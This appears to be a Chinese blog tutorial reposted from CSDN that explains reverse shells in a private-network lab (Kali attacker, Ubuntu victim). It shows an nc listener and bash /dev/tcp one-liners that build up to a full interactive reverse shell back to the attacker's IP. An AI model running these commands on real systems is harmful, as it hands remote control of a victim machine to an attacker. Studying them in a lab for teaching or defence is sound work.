反弹Shell具体实现

啥是反弹Shell

反弹shell(reverseshell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
术语说了一大堆,我的理解就是,将受害者的shell权限转移给攻击者,攻击者可以直接控制受害者的Shell进行操作,当然这需要在攻击者通过其他方式获取。

反弹Shell实验

主要命令:

nc -lvp 端口号
# -l 监听,-v 输出交互或出错信息,-p 端口。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。
bash -i
# -i interactive。即产生一个交互式的shell(bash)。
/dev/tcp/IP地址/端口号
#特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

实现过程:
攻击端kali:192.168.56.105
受害者ubuntu:192.168.56.108
攻击者命令只有一条命令执行,并且要在最开始时执行,以下三种实验开始前都需要执行一次,始终监听5566端口:

nc -lvp 5566

受害者主动请求连接至攻击者:
现在展示三种不同命令,循序渐进,获取shell所有权限
在开始讲之前需要先了解文件描述符的相关信息

一、在 shell 程式中,最常使用的 FD (file descriptor) 大概有三个, 分别是:
	0 是一个文件描述符,表示标准输入(stdin)
	1 是一个文件描述符,表示标准输出(stdout)
	2 是一个文件描述符,表示标准错误(stderr)
二、>是重定向符,就是把前面输出的内容重定向到后面指定的位置
三、& 是一个描述符,如果1或2前不加&,会被当成一个普通文件

1.重定向标准输出信息至攻击机

bash -i > /dev/tcp/192.168.56.105/5566

此时受害者与攻击机相连,但是攻击机输入命令,受害机不响应,受害机输入命令时,攻击机有输出信息也就是说:

本条命令仅仅是将受害机正确命令的返回信息传递给攻击机,攻击机无法对受害机进行任何操作,同时受害机无法在终端显示正确命令的返回信息,但是可以获得报错信息

2.重定向标准输入信息至攻击机

bash -i < /dev/tcp/192.168.56.105/5566

此时受害者与攻击机相连,但是攻击机输入命令,受害机给与响应,受害机接收到命令时,受害机终端有输出,攻击机无法显示命令输出信息

本条命令是将受害者将攻击机的输入作为shell命令执行,返回值在受害机终端展示,同时受害机输入命令,终端不响应。

3.重定向标准输入输出信息至攻击机

bash -i > /dev/tcp/192.168.56.105/5566 0>&1

此时受害者与攻击机相连,但是攻击机输入命令,受害者执行响应,并且受害机终端会显示命令,执行后,受害者终端并不显示输出信息,但是错误命令会显示报错信息。

本条命令是将shell的输入和输出转交给了攻击机,错误输出并未转移,同时受害机输入命令,终端不响应。

4.重定向标准输入输出错误信息至攻击机

bash -i  > /dev/tcp/192.168.56.105/5566 0>&1 2>&1

此时受害者与攻击机相连,但是攻击机输入命令,受害者执行响应,受害机终端不显示命令,同时受害者并不显示输出信息和报错信息。

本条命令是将shell的输入和输出转交给了攻击机,错误输出也一并进行了转移,shell完全由攻击机所控制。

结语

写着写着我有点乱了,还有不懂得看下面的链接吧,我参考着他们做的
QAQ

https://zhuanlan.zhihu.com/p/138393396

猜你喜欢

转载自blog.csdn.net/weixin_44411509/article/details/118959910